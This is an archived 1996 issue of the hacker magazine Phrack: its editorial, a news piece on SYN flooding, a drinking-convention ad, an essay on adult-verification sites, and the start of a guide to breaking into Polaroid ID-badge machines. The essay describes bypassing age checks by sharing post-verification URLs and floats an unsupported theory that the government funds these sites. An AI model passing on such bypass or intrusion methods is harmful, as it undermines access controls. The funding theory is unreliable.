home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 49.sit / Phrack Issue 49 next >
Text File  |  1997-06-06  |  570KB  |  14,358 lines

  1.                 .oO Phrack 49 Oo.
  2.  
  3.               Volume Seven, Issue Forty-Nine
  4.                      
  5.                       1 of 16
  6.  
  7.                   Issue 49 Index
  8.                    ____________________
  9.  
  10.                  P H R A C K   4 9
  11.  
  12.                  November 08, 1996
  13.                    ____________________
  14.  
  15.  
  16. Welcome to the next generation of Phrack magazine.  A kinder, gentler, Phrack.
  17. A seasoned, experienced Phrack.  A tawdry, naughty Phrack.  A corpulent, 
  18. well-fed Phrack.  Phrack for the whole family.  Phrack for the kids, Phrack 
  19. for the adults.  Even Phrack for the those enjoying their golden years.
  20.  
  21. If you thought 48 was a fluke, here is 49, RIGHT ON SCHEDULE.  Full speed 
  22. ahead, baby.  We promised timely Phrack.  We promised quality Phrack.  Here 
  23. are both in ONE CONVENIENT PACKAGE!  We trimmed the fat to bring you the lean
  24. Phrack.  Chock full of the healthy information you need in your diet.  All 
  25. natural.  No artificial ingredients.  No snake oil.  No placebo effect.  
  26. Phrack is full of everything you want, and nothing you don't.
  27.     
  28. This issue is the first *official* offering from the new editorial staff.  If
  29. you missed them, our prophiles can be found in issue 48.  Speaking of 48, 
  30. what a tumultuous situation article 13 caused.  All that wacking SYN flooding.
  31. Well, it got the job done and my point across.  It got vendors and programmers
  32. working to come up with work-around solutions to this age-old problem.  Until 
  33. recently, SYN-flooding was a skeleton in the closet of security professionals.
  34. It was akin the crazy uncle everyone has, who thinks he is Saint Jerome.  We 
  35. all knew it was there, but we ignored it and kinda hoped it would go away...  
  36. Anyway, after this issue, I hope it *will* just go away.  I have done 
  37. interviews for several magazines about the attack and talked until I was blue 
  38. in the face to masses of people.  I think the word is out, the job is done.  
  39. Enough *is* enough. " SYN_flooding=old_hat; ".  Onto bigger and better things.
  40.  
  41. A few more quick points (after all, you want Phrack Warez, not babbling 
  42. daemon9).  I want to thank the community for supporting me (and co.) thus far.
  43. Countless people have been quite supportive of the Guild, the Infonexus, and 
  44. of Phrack.  Time and work do permit me to get back to all of you individually,
  45. so just a quick blurb here.  Thank you all.  I will be using Phrack as a tool 
  46. to give back to you, so please mail me (or any of the editors with your 
  47. suggestions).  This is *your* magazine.  I just work here.  
  48.  
  49. Most of all, I am stoked to be here.  I am giving this my all.  I'm fresh, I'm
  50. ready... I'm hyped + I'm amped (most of my heros don't appear on no stamps..).
  51.  
  52. Drop us a line on what you think of 49.  Comments are encouraged.
  53.  
  54.  
  55. Bottom line (and you *can* quote me on this):  Phrack is BACK.  
  56.  
  57.     - daemon9
  58.  
  59.        [ And remember: r00t may own you, but the Guild loves you ]
  60.      [ TNO, on the other hand, doesn't even fucking care you exist ]
  61.  
  62. ---------------------------------------------------------------------------
  63.  
  64.  
  65. Enjoy the magazine.  It is for and by the hacking community.  Period.
  66.  
  67.  
  68.       Editors : daemon9, Datastream Cowboy, Voyager
  69.       Mailboy : Erik Bloodaxe
  70.         Elite : Nirva (*trust* me on this one)
  71.        Raided : X (investigated, no charges as of yet)
  72.    Hair Technique : Mycroft, Aleph1
  73.         Tired : TCP SYN flooding
  74.         Wired : Not copping silly slogans from played-out, vertigo 
  75.             inducing magazines.
  76.     Pissed off: ludichrist
  77.      Pissed on: ip
  78.          News : DisordeR
  79.        Thanks : Alhambra, Halflife, Snocrash, Mythrandir, Nihil, jenf,
  80.             xanax, kamee, t3, sirsyko, mudge. 
  81.        Shout Outs : Major, Cavalier, Presence, A-Flat, Colonel Mustard,
  82.             Bogus Technician, Merc, Invalid, b_, oof, BioHazard,
  83.             Grave45, NeTTwerk, Panzer, The Bishop, TeleMonster,
  84.             Ph0n-E, loadammo, h0trod.
  85.  
  86. Phrack Magazine V. 7, #49, November 08, 1996.   ISSN 1068-1035
  87. Contents Copyright (c) 1996 Phrack Magazine. All Rights Reserved.
  88. Nothing may be reproduced in whole or in part without written
  89. permission from the editors.  Phrack Magazine is made available 
  90. quarterly to the amateur computer hobbyist free of charge.  
  91. Any corporate, government, legal, or otherwise commercial usage 
  92. or possession (electronic or otherwise) is strictly prohibited without 
  93. prior registration, and is in violation of applicable US Copyright 
  94. laws. To subscribe, send email to phrack@well.com and ask to be 
  95. added to the list.
  96.  
  97.             Phrack Magazine
  98.             603 W. 13th #1A-278              (Phrack Mailing Address)
  99.             Austin, TX 78701
  100.  
  101.             ftp.fc.net                       (Phrack FTP Site)
  102.             /pub/phrack
  103.             
  104.             http://www.fc.net/phrack         (Phrack WWW Home Page)
  105.             
  106.             phrack@well.com                  (Phrack E-mail Address)
  107.             or phrackmag on America Online
  108.             
  109. Submissions to the above email address may be encrypted
  110. with the following key (note this is a NEW key): 
  111.  
  112. -----BEGIN PGP PUBLIC KEY BLOCK-----
  113. Version: 2.6.2
  114.  
  115. mQENAzJuWJgAAAEH/2auap+FzX1AZOsQRPWRrRSOai2ZokfVpWWJI8DRuSpX9l7w
  116. 5qWHrZdL/RweA4lgwAmcrAOD6d8+AzZfXEhkKi92G9ZNy2cjsb5g7oamkcPmC03h
  117. pdhRe5rHXDWUtXDEhHlkV0WvkLXrhFijW2VdJ2UDFyFd8q0nBSIz+JTGneNO0w4q
  118. aowCx3gZpEb4hkEU1LFoJXywZhnBg06jSxD9exbBF2WKeealqTlntlcsMmeJ3OdS
  119. 9fqnGI19BWirqkIJYtNXdzP4M2usOEvikrdhXwSbCNcDGcY6pyKco2rKbBUj5V2I
  120. 8/2L0TSGSaRBZ/YKRplwycldy63UVVTLMNGQCCUABRG0KlBocmFjayBNYWdhemlu
  121. ZSA8cGhyYWNrZWRpdEBpbmZvbmV4dXMuY29tPg==
  122. =eHJS
  123. -----END PGP PUBLIC KEY BLOCK-----
  124.  
  125.     ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED
  126.  
  127. Phrack goes out plaintext...  You certainly can subscribe in plaintext
  128.  
  129.  
  130.                .oO Phrack 49 Oo.
  131.          -------------------------------------
  132.                Table Of Contents
  133.         
  134.  1. Introduction                                                        7  K
  135.  2. Phrack loopback                                                     6  K
  136.  3. Line Noise                                                          65 K 
  137.  4. Phrack Prophile on Mudge                       by Phrack Staff      8  K
  138.  5. Introduction to Telephony and PBX systems      by Cavalier          100K
  139.  6. Project Loki: ICMP Tunneling                   by daemon9/alhambra  10 K 
  140.  7. Project Hades: TCP weaknesses                  by daemon9           38 K
  141.  8. Introduction to CGI and CGI vulnerabilities    by G. Gilliss        12 K
  142.  9. Content-Blind Cancelbot                        by Dr. Dimitri Vulis 40 K
  143. 10. A Steganography Improvement Proposal           by cjm1              6  K
  144. 11. South Western Bell Lineman Work Codes          by Icon              18 K 
  145. 12. Introduction to the FedLine software system    by Parmaster         19 K
  146. 13. Telephone Company Customer Applications        by Voyager           38 K
  147. 14. Smashing The Stack For Fun And Profit          by Aleph1            66 K
  148. 15. TCP port Stealth Scanning                      by Uriel             32 K
  149. 16. Phrack World News                              by Disorder          109K
  150.  
  151.                                     575k
  152.          -------------------------------------
  153.  
  154. "...There's MORE than maybes..."
  155.  
  156.     - Tom Regean (Gabriel Bryne) "Miller's Crossing"
  157.     [ Obviously referring to the blatent truism that Phrack IS back ]
  158.  
  159. "...Fuckin' Cops..."
  160.  
  161.     - Verbal Kint/Keyser Soze (Kevin Spacey) "The Usual Suspects"
  162.     [ Not sure what was meant by that.. ]
  163.  
  164. "Got more funky styles than my Laserjet got fonts"
  165.     - 311/Grassroots "Omaha Stylee"
  166.     [ That would be referring to us, of course ]
  167.  
  168. EOF
  169.  
  170.                              .oO Phrack Magazine Oo.
  171.  
  172.                         Volume Seven, Issue Forty-Nine
  173.                        
  174.                     File 2 of 16
  175.  
  176.                                 Phrack Loopback
  177.  
  178. -----------------------------------------------------------------------------
  179. [The Netly News]
  180.  
  181.      September 30, 1996
  182.  
  183.      Today, Berkeley Software Design, Inc. is expected to publicly release 
  184. a near-perfect solution to the "Denial of Service," or SYN flooding attacks,
  185. that have been plaguing the Net for the past three weeks. The fix, dubbed
  186. the SYN cache, does not replace the need for router filtering, but it is 
  187. an easy-to-implement prophylaxis for most attacks.
  188.     
  189.     "It may even be overkill," says Alexis Rosen, the owner of Public 
  190. Access Networks. The attack on his service two weeks ago first catapulted 
  191. the hack into public consciousness.
  192.  
  193.     The SYN attack, originally published by Daemon9 in Phrack, has 
  194. affected at least three service providers since it was published last month. 
  195. The attack floods an ISP's server with bogus, randomly generated connection
  196. requests. Unable to bear the pressure, servers grind to a halt.
  197.  
  198.     The new code, which should take just 30 minutes for a service provider 
  199. to install, would keep the bogus addresses out of the main queue by saving two 
  200. key pieces of information in a separate area of the machine, implementing
  201. communication only when the connection has been verified.  Rosen, a master of 
  202. techno metaphor, compares it to a customs check. When you seek entrance to a 
  203. server, you are asked for two small pieces of identification. The server then
  204. sends a communique back to your machine and establishes that you are a real 
  205. person. Once your identity is established, the server grabs the two missing 
  206. pieces of identification and puts you into the queue for a connection. If 
  207. valid identification is not established, you never reach the queue and the 
  208. two small pieces of identification are flushed from the system.
  209.  
  210.     The entire process takes microseconds to complete and uses just a few 
  211. bytes of memory. "Right now one of these guys could be on the end of a 300-baud
  212. modem and shut you down," says Doug Urner, a spokesman for BSDI. "With these
  213. fixes, they just won't matter." still, Urner stresses that the solution does 
  214. not reduce the need for service providers to filter IP addresses at the router.
  215.  
  216.     Indeed, if an attacker were using a T1 to send thousands of requests per
  217. second, even the BSDI solution would be taxed. For that reason, the developers 
  218. put in an added layer of protection to their code that would randomly drop 
  219. connections during an overload. That way at least some valid users would 
  220. be able to get through, albeit slowly.
  221.  
  222.     There have been a number of proposed solutions based on the random-drop 
  223. theory. Even Daemon9 came up with a solution that looks for any common 
  224. characteristics in the attack and learns to drop that set of addresses.  For 
  225. example, most SYN attacks have a tempo -- packets are often sent in 
  226. five-millisecond intervals -- When a server senses flooding it looks for these 
  227. common characteristics and decides to drop that set of requests. Some valid 
  228. users would be dropped in the process, but the server would have effectively 
  229. saved itself from a total lockup.
  230.  
  231.     Phrack editor Daemon9 defends his act of publishing the code for the 
  232. attack as a necessary evil. "If I just put out a white paper, no one is 
  233. going to look at this, no one is going to fix this hole," he told The 
  234. Netly News. "You have to break some eggs, I guess.
  235.  
  236.     To his credit, Daemon9 actually included measures in his code that made
  237. it difficult for any anklebiting hacker to run. Essential bits of information 
  238. required to enable the SYN attack code could be learned only from reading 
  239. the entire whitepaper he wrote describing the attack. Also, anyone wanting to 
  240. run the hack would have to set up a server in order to generate the IP 
  241. addresses.  "My line of thinking is that if you know how to set a Linux up 
  242. and you're enough in computers, you'll have enough respect not to do this," 
  243. Daemon9 says. He adds, "I did not foresee such a large response to this."
  244.  
  245.     Daemon9 also warns that there are other, similar protocols that can be 
  246. abused and that until there is a new generation of TCP/IP the Net will be open 
  247. to abuse. He explained a devastating attack similar to SYN called ICMP Echo 
  248. Flood.  The attack sends "ping" requests to a remote machine hundreds of times 
  249. per second until the machine is flooded.
  250.  
  251.     "Don't get me wrong," says Daemon9. "I love the Net. It's my bread and 
  252. butter, my backyard. But now there are too many people on it with no concern 
  253. for security. The CIA and DOJ attacks were waiting to happen. These holes were
  254. pathetically well-known."
  255.  
  256.                                 --By Noah Robischon
  257.  
  258. [ Hmm.  I thought quotation marks were indicative of verbatim quotes.  Not
  259. in this case...  It's funny.  You talk to these guys for hours, you *think*
  260. you've pounded the subject matter into their brains well enough for them to 
  261. *at least* quote you properly... -d9 ]
  262.  
  263. [ Ok.  Loopback was weak this time.  We had no mail.  We need mail.  Send us 
  264. mail! ]
  265.  
  266.  
  267.                     ----<>----
  268.  
  269.                         .oO Phrack Magazine Oo.
  270.  
  271.                        Volume Seven, Issue Forty-Nine
  272.             
  273.                   File 3 of 16
  274.  
  275.                            //   //  /\   //   ====
  276.                           //   //  //\\ //   ====
  277.                          ==== //  //  \\/   ====
  278.  
  279.                      /\   //  // \\    //  /===   ====
  280.                     //\\ //  //   //  //   \=\   ====
  281.                    //  \\/    \\ //  //   ===/  ====
  282.  
  283. ------------------------------------------------------------------------------
  284.  
  285.      CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96
  286.  
  287.                   Tengo que hable con mi abogado.
  288.  
  289.      ----------------------------------------------------------------
  290.  
  291. What : A computer/telephony/security conference. (show this part to your 
  292.        boss.)
  293.  
  294. Where: Fort Brown Hotel, Brownsville Texas. 
  295.  
  296. When : 28 & 29 December, 1996
  297.  
  298. Who  : The usual gang of cretins.
  299.  
  300. Why  : It's winter, and it is 12 degrees outside.  The dumpsters are frozen
  301.        shut, and there are icicles on the payphones.  Brownsville is at the
  302.        Southern-most tip of Texas, right up against...Mexico.  Yes, Mexico,
  303.        land of cheap cerveza, four-dollar strippers, and liberal drinking
  304.        laws.  Mexico, where you too can own your very own Federal law
  305.        enforcement official for a fistful of pesos.
  306.  
  307.      ----------------------------------------------------------------
  308.                               
  309.                               Speakers
  310.  
  311. Anybody wishing to speak at CuervoCon should send 
  312. e-mail to the address at the bottom of this announcement.
  313. Currently the list includes:
  314. u4ea (by teleconfrence)
  315. Major
  316. ReDragon
  317. Caffiend (about her Breasts)
  318. daemon9 (about his Breasts)
  319.  
  320.      ----------------------------------------------------------------
  321.  
  322.                                Events
  323.  
  324. "How Much Can You Drink?"
  325. "Fool The Lamer"
  326. "Hack The Stripper"
  327. "Hack The Web Server"
  328. "sk00l"
  329. "Ouija Board Hacking"
  330.  
  331. ...as well as a variety of Technical Presentations.
  332.  
  333.  
  334.      ----------------------------------------------------------------
  335.  
  336.  
  337.                          General Information
  338.  
  339.  
  340. The Fort Brown Hotel will have available to us, 125 rooms at the holiday in @ 
  341. $55 a room, and $75 rooms at the ramada @ $45 each.  The Fort Brown was 
  342. previously an actual fort when it was closed down by Uncle Sam.  It became one
  343. large hotel until it was recently purchased and split into the Holiday Inn and
  344. the Ramada.  The Fort Brown was chosen because it is across the street from 
  345. the bridge to Mexico.  You can call the Fort Brown Ramada at: 
  346.  
  347.     210-541-2921
  348.  
  349. You can call the Fort Brown Holiday Inn at:
  350.  
  351.     210-546-2201
  352.  
  353. Call for reservations, make sure to tell them your with CuervoCon.
  354.  
  355. Friday and Saturday the con will be in the 'Calvary' room.  While Sunday we 
  356. have the 'Fortress Room' where all the big speakers will be.  Friday and 
  357. Saturday we will have a few speakers and activities.  Friday Night mainly, 
  358. so we can have people arrive on time.  We hope to have the con room open 24 
  359. hours a day.
  360.  
  361. Brownsville is right on the Mexican border, adjacent to the Mexican town
  362. Matamoris.  The Gulf of Mexico is 25 miles away.  Brownsville has a population
  363. just over 100,000.  The police force includes 175 officers, and a wide variety
  364. of federal law enforcement agencies have a strong presence there as well.
  365. The climate is semi-tropical, and the RBOC is SouthWestern Bell.
  366.  
  367. Matamoris is the other half of brownsville.  Home of over 1/2 a million 
  368. people, it is known since the early 1900's as a pit of sin.  The federale's 
  369. are not to be fucked with and it is serviced by TelMex.  It is known for its 
  370. bars, strip clubs and mexican food.  Matamoros also has an airport incase 
  371. you live in Mexico and care to go, via aeromexico.
  372.  
  373. Directions:
  374. In Texas Driving - Go anyway you can to get to US 77 South. Take 77 South 
  375. till it ends in Brownsville. From there you will turn right on International.
  376. Proceed all the way down international, right before the bridge, turn left.
  377. The Fort Brown will be on the left.
  378.  
  379. For those flying in - We are going to try to have a shuttle going. Also just
  380. tell the cab driver, Fort Brown.
  381.  
  382. The Con Registration Fee, aka the pay it when you walk in our we will beat you
  383. up, is only 10$ and an additional 5$ for the 'I paid for eliteness sticker' 
  384. which will let you into the special events, such as hack the stripper.
  385.  
  386.      ----------------------------------------------------------------
  387.  
  388.                        Celebrity Endorsements
  389.  
  390.  
  391.  
  392. Here's what last years participants had to say about CuervoCon:
  393.  
  394. "I attended the CuervoCon 95.  I found many people there who, fearing a
  395.  sunburn, wanted to buy my t-shirts!" -ErikB
  396.  
  397. "I tried to attend, but was thwarted by "No Admittance to The Public" 
  398.  sign.  I feel as though I missed the event of the year." - The Public
  399.  
  400. "mmmm...look at all the little Mexican boys..." -Netta Gilboa
  401.  
  402. "Wow!  CuervoCon 95 was more fun that spilling my guts to the feds!" - 
  403.  Panther Modern
  404.  
  405. "CuervoCon is our favorite annual event.  We know we can give 
  406.  security a day of rest, because you people are all too drunk to
  407.  give us any trouble..." - AT&T
  408.  
  409. "No moleste, por favor." - TeleMex
  410.  
  411. Don't miss it!
  412.  
  413.      ----------------------------------------------------------------
  414.  
  415.  
  416. Have you ever hacked a machine in your hometown from a foreign
  417. country?
  418.  
  419. Have you ever had to convert dollars into pesos to get your bribe right?
  420.  
  421. Have you ever spent time in a foreign prison, where your "rights as an 
  422. American" just don't apply?
  423.  
  424. Have you ever been taken down for soemthing that wasn't even illegal 
  425. half an hour ago?
  426.  
  427. YOU WILL!  And the con that will bring it to you?
  428.  
  429. CUERVOCON 96
  430.  
  431.      ----------------------------------------------------------------
  432.  
  433.      CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 
  434.                             brought to you by
  435.      - S.o.B. - TNo - PLA - Phrack - The Guild - F.U.C.K. - SotMESC - 
  436.  
  437.  
  438.                           Contact Information
  439.  
  440. info@cuervocon.org
  441.  
  442. www.cuervocon.org - Look here for updates.
  443.  
  444. Voice mail system coming up soon.
  445.  
  446.      ----------------------------------------------------------------
  447.  
  448.  
  449.                                 ----<>----
  450.  
  451.  
  452. *** The truth behind the Adult Verification Services 
  453.  
  454.          ('porno' will set you free)
  455.  
  456. *** By your passively skeptical author, t3.
  457.  
  458. *** 10.30.96
  459.  
  460.  
  461.         Let's speak for a minute about 'porno'.  'Porno' has saturated the 
  462. Net to a level in which it's difficult *not* to see it, regardless if 
  463. you're looking for it.  It can be found on the largest web site and the 
  464. smallest ftp site.  It can be found on Usenet, it can be found with any 
  465. one of numerous search engines.  Let's not delude ourselves, porno is 
  466. *everywhere* and anyone with the motor skills to click a mouse can have access 
  467. to it.
  468.  
  469. About a year ago a concept came along called 'Adult Verification'.  This first
  470. started out by people writing crude cgi scripts that would query every person
  471. as to their age.  'Are you 18' it would say, and even a sexually aware 9-year
  472. old would know to say 'yay' to this.
  473.  
  474. Soon thereafter, someone topped this 4-line piece of code by writing a login 
  475. interface, most likely it was incorporated into Netscape or some other, less
  476. worthy browser.  This program made use of the actual browser to authenticate   
  477. users.  Of course one needed a login and password, of which had to be manually
  478. added after ample proof of age was received.  If one merely wanted to 
  479. cover one's ass, this would not be a logical solution.
  480.  
  481. This all occurred during which the CDA (Communications Decency Act) had 
  482. actually existed.  On June 7, 1995, the CDA was passed through the Senate 
  483. to the President, signed, and made a law:
  484.  
  485. (1) in the heading by striking `Broadcasting obscene
  486.               language' and inserting `Utterance of indecent or profane
  487.               language by radio communication; transmission to minor of
  488.               indecent material from remote computer facility, electronic
  489.               communications service, or electronic bulletin board service';
  490.  
  491. et al...Now it was illegal to transmit 'indecent material' on the 
  492. Internet.  If this were to actually be adhered to, the Net would shrink 
  493. so drastically that the current topology would last ten years before 
  494. needing an upgrade.
  495.  
  496. Is was soon apparent that this act was not going to fly.  Groups like the 
  497. EFF and the ACLU suddenly became extremely busy.  Companies such as Apple 
  498. and Microsoft challenged the constitutionality of such a law and took 
  499. this directly to court.  It was also apparent that the transmission of 
  500. 'indecent material' would not disappear, but merely go further underground.
  501.  
  502. Indeed, this is exactly what happened.  Soon thereafter Adult Verification
  503. services began popping up.  AVS (Adult Verification Services), Adultcheck,
  504. Adultpass, and a slew of others came up with an idea.
  505.  
  506. The idea was to verify a person's adult status by acquiring one's credit 
  507. card number.  This would, ahem, without a doubt, prove that the individual
  508. was 18.  Why?  Because you had to be 18 to have a credit card of course!
  509. Someone obviously didn't take into consideration the five or so million 
  510. pre-adults that would make it their goal to surpass such shotty 
  511. authentication.
  512.  
  513. It began by the government stating that a credit card is a legal means of 
  514. verifying one's age, this allowing those distributing 'porno'graphic 
  515. materials to continue distributing to those 18 and over.  The initial 
  516. means that the 'providers of porn' used to do this was to basically 
  517. verify the format of the card and not actually run a check on it.  As 
  518. most of us all know, there have been plenty of "Credit Card Generators" 
  519. produced in the last five years, quite capable of fooling these shotty 
  520. authentication systems.
  521.  
  522. As this authentication was obviously lacking in the "authentication" 
  523. part, the next step was to actually validate the cards.  This began and 
  524. ended nearly as quickly, for finding a credit card (for example, in 
  525. mommy's purse), junior could peruse porn until his dick grew red and chafed.
  526.  
  527. On June 12, 1996 it was was determined that the CDA indeed violated one's 
  528. constitutional rights and was striken down as a law.  More on this at 
  529. <http://www.eff.org/pub/Legal/Cases/EFF_ACLU_v_DoJ/>.
  530.  
  531. But it didn't seem to phase the Authentication services.  
  532.  
  533. The Authentication Services currently verify age by obtaining a credit 
  534. card, verifying it, and actually charging a fee for the service.  About 
  535. $9.95 for two years which entitles you to an abundance of graphic, ad, 
  536. and airbrush-laden web pages and images.  This most likely sufficiently 
  537. scared off the less determined of minors because now they'd be engaging in 
  538. credit card fraud.  
  539.  
  540. It's truly odd that after it has been deemed legal to distribute said 
  541. porn, that all of these services still insist that it's illegal to do 
  542. so.  Let us realize that Usenet barely flinched when the CDA was in 
  543. effect, and still offered gigs upon (glorious) gigs of nude bodies to 
  544. oggle at.
  545.  
  546. After taking a good look at this whole bizarre operation, I have made a 
  547. few conclusions of my own.  
  548.  
  549. Charging $9.95 for two years of access to 'porno'graphy seems a little too 
  550. good to be true.  One must realize that there is a charge to the billing 
  551. company for each credit card transaction made.  I'd be surprised if it 
  552. wasn't half of this ten bucks.  These authentication companies also pay 
  553. "handsomely" the purveyors of porn.  In order for such a service to 
  554. function, obviously there needs to be an agreement with the distributor and the 
  555. authenticator.
  556.  
  557. Now, one that distributes 'porno'graphy on the Net will certainly not feel 
  558. the need to do these Verification Services any favors.  The majority of 
  559. people that do run these explicit sites are certainly not interested in 
  560. supporting censorship of their material (probably 90% money-making).  The 
  561. AVS's knew this and offered a stipend to those using their services.
  562.  
  563. The AVS's currently work by paying the site that contains 'indecent 
  564. material' a certain amount each time that site gets another person to 
  565. sign up with their service.  This works by the AVS sending html that is 
  566. put on a verification page.  If one finds this page important enough, 
  567. they may be convinced to sign up with the service that allows you to 
  568. access it.  
  569.  
  570. The stipend is generally around $4.00, and as high as $7.50.  There are 
  571. many AVS's, and the majority of the said 'sites' use more than one, 
  572. sometimes all of them for verification.  If a particular site uses one 
  573. AVS exclusively, the AVS will pay on the highest end of their scale for new 
  574. recruits.
  575.  
  576. If we get into some simple math, we may find some contradictions 
  577. regarding this.  The initial fee to those interested in accessing porn is 
  578. $9.95.  Out of these we can safely say that more than $3.00 goes to 
  579. simply checking the validity of the card and billing it.  This leaves the 
  580. AVS with $6.95.
  581.  
  582. Now, on the receiving end we have a very minimum of $4.00 going towards 
  583. each new person that signs up.  It's probably safe to say that over 90% 
  584. of new customers to these AVS's sign-up through 'porno'graphic pages and 
  585. not directly from the site itself.
  586.  
  587. So $9.95 ends up being $6.95 after expenses, and then the service sends 
  588. another $4.00 to the person that gave them the account.  This leaves the 
  589. AVS with a maximum of $2.95 total.
  590.  
  591. The costs running an AVS are surely not exorbant, but are certainly not 
  592. cheap.  I have yet to find an AVS running off of anything less than at T1 
  593. (1.544mbit) speeds.  This translates to an extreme minimum of 1k/month.  
  594. If you include employees, office space, and incidentals, running any such 
  595. service couldn't cost less than 5k a month at the very least.  This would 
  596. mean to break even one would have to bring in:
  597.  
  598. 5000/2.95
  599.  
  600. 1694 new customers a month, simply to break even!  That's a lot 
  601. considering the membership lasts for two years.  And this is in the 
  602. *best-case* scenario.  I would be hard-pressed to believe that one such 
  603. service could steadily rely on such a base of new clients every month 
  604. indefinitely!
  605.  
  606. I have theorized that these services are in fact not self-run moneymaking 
  607. ventures, but are actually being funded by a higher authority.  It's 
  608. quite feasible to believe that the government, having been challenged and 
  609. beat, have actually allocated funds to protecting the minors of the Net 
  610. from obscenity.  It's *certainly* not far-fetched, especially with Al 
  611. Gore (think, Tipper) in an improperly high position.
  612.  
  613. The government could allocate a comparitively paltry sum of one million a 
  614. year towards funding (even creating) companies that act merely to pay 
  615. people to be complacent.  What if the government merely let relatively 
  616. computer proficient professionals bid on forming these AVS's?  What if?
  617.  
  618. Well, unless i'm overlooking something, I can't see too much illogic to 
  619. my theory.
  620.  
  621. Another consideration of these services is that even at their current 
  622. state, they are extremely easy to overcome.  So easy, in fact, that their 
  623. existence will hardly offer much resistance to a horny teenager.  Remember, 
  624. people will do anything to get 'porno'graphy.
  625.  
  626. Such holes in these systems are that the verified member of such an AVS 
  627. connects to a sexually explicit site, is bounced backed to the AVS for 
  628. authentication, and is then bounced back again to the page (url) that 
  629. contains the "naughty stuff".  This page can be simply bookmarked and 
  630. distributed to anyone and their Mom.
  631.  
  632. Why?  All the services I've come across (the largest ones) do not 
  633. authenticate the target url, they target the initial "warning" page and 
  634. contain information to pass the user on to the naughty stuff.  Thus if 
  635. one single person can obtain the target url, he can bypass all future 
  636. authentication and can as well pass the url on through various channels, 
  637. quite easily ending up in the hands of a minor.
  638.  
  639. As well, if stupidity was a metaphor for AVS's, most of the target url's 
  640. have filenames such as "warning.html" or "granted.html".  Any 
  641. half-respectable search engine (such as AltaVista) is capable of snarfing 
  642. out such information.  Doubly-so because these services will obviously 
  643. want to advertise their existence.
  644.  
  645. The only method that seems to partially protect minors from 'porno'graphy 
  646. is the method of installing client-based software such as SurfWatch that 
  647. try to censor 'porno'graphy.  This, as well, relies on a willing company or 
  648. individual to operate.  This works quite archaically by imbedding META 
  649. tags in html source. For example:
  650.  
  651. <META name="description" content="Validate Age Verification 
  652. Service"><meta name="keywords" content="sex erotica nude porn penthouse 
  653. pornography erotic porno adult playboy dating marriage love date age 
  654. validate validation protect children kids money commercial wealth nudes 
  655. pics jpg gif">
  656.  
  657. This particular tag would be placed in the receiving html of a 
  658. co-operative service or individual.  The client-based software would 
  659. search for such tags and censor the content accordingly.  From my 
  660. understanding, those using AVS's are not required to embed these tags in 
  661. their "warning" page html.  If they do not, which I would imagine many 
  662. probably wouldn't, then suddenly these client-based censorship tools are 
  663. rendered useless.
  664.  
  665. So in conclusion, I would give a big thumbs-down for this whole pathetic 
  666. means of controlling freedom.  The Internet was meant to be a place to 
  667. free exchange of information.  Today a minor is just as able to find 
  668. explicit material on the Net as he/she is able to dig through Mom and 
  669. Dad's dresser for copies of Hustler.  A minor is just as capable of 
  670. watching R or X-rated movies, stealing a magazine from a store, or even 
  671. buying one.  
  672.  
  673. It's time to stop using half-assed and crippled ways of protecting kids 
  674. from obscenity on the Net.  If you're a parent and you don't want your 
  675. child to view such 'porno'graphy, then why not do what you're supposed to 
  676. do and discipline the kid.
  677.  
  678. Lazy fuckers.
  679.  
  680.  
  681. t3
  682. .end
  683.  
  684.  
  685.  
  686.                                 ----<>----
  687.  
  688.  
  689. T.A.C.D Presents...
  690. Hacking ID Machines 
  691. By PiLL
  692.  
  693. Table Of Contents
  694.  
  695. I.   What is an ID Machine & who uses them?
  696. II.  Hardware and software of the ID machines
  697. III. Common security of ID Machines
  698. IV.  What to do once you get in
  699. V.   Closing
  700. VI.  Greets
  701.  
  702.  
  703. Part One: What is an ID machine and who uses them?
  704.  
  705. First we will start with the basics. An IDM or ID Machine is exactly
  706. what the name entails.  It is a computer that government and large
  707. companies use to make security badges and ID cards for employees and
  708. visitors. All of the IDM's are DOS based so security, to say the least,
  709. sucks. There are four models of IDM's. The one we will be covering the
  710. most is the latest and greatest: the ID 4000. Also in the family of
  711. IDM's are the 3000, 2000+, and 2000. I have heard of an ID 1000 but I
  712. have yet to see or play with one, so if you find one, tell me. The 2000
  713. is DOS 3.3 so I can imagine that an ID 1000 is even a bigger waste of
  714. time. IDM's are manufactured by a branch of Polaroid entitled Polaroid
  715. Electronic Imaging. If you want more information on IDM's call (800)343-5000
  716. and they will send you some general specs.  I will let you know right
  717. off the start that these machines sell for as much as $75,000.00 but the
  718. average price is around $40,000.00. So getting caught crashing one is
  719. NOT a good idea.
  720.  
  721. You are probably wondering what companies use ID machines.  Here is a
  722. brief list. All of the Colorado and Alaska DMV's, The IRS, The FBI, The
  723. U.S. Mint, The Federal Reserve, almost any military branch, Hewlett
  724. Packard, Polaroid, Westinghouse (I wouldn't recommend fucking with them:
  725. for more information on Westinghouse check out the movie Unauthorized Access
  726. available from CDC's home page), and all of the major prisons in the
  727. United States. By now you should be getting ideas of the potential fun
  728. you can have. Not that I would ever use what I know for anything illegal
  729. ;)
  730.  
  731. Part Two: Hardware and Software
  732.  
  733. I will cover each machine in order but you will probably notice that the
  734. ID4000 will get by far more attention then any other.
  735.  
  736. Hardware and Software for the 2000+ and 2000 is kind of like teaching
  737. someone about the Apple ][ and how to use Logo so I will try not to bore
  738. you to much with them. The 2000 series are unique to the others because
  739. they are one full unit. The hardware is basically a really cheesy
  740. oversized case with a 9 monochrome monitor, a 3 monitor for viewing the
  741. victim of the hideous picture it takes, a 286 Wyse computer with 1meg of
  742. RAM (really hauls ass), a data compression board, image processing board
  743. (*Paris* Board), a signature scanner, a color film recorder or CFR, a
  744. WORM Drive, a modem, and most of the time a network card so the data can
  745. be stored on a mainframe. The Software of the 2000 series is a really
  746. neat database program running under DOS 3.3. If you have never heard of
  747. or used EDLIN, I would not recommend playing with a 2000. The only major
  748. differences between an ID2000 and an ID2000+ is that the computer on the
  749. 2000+ is a HP Vectra 386 with 4megs and a SCSI Interface. That's all you
  750. really need to know you probably won't ever encounter one unless you go
  751. trashing a lot.
  752.  
  753. The ID3000 is also an HP 386/20 but uses DOS 5.0 and a Matrox Digital
  754. Processing board instead of the old Paris board of the 2000 series.
  755.  
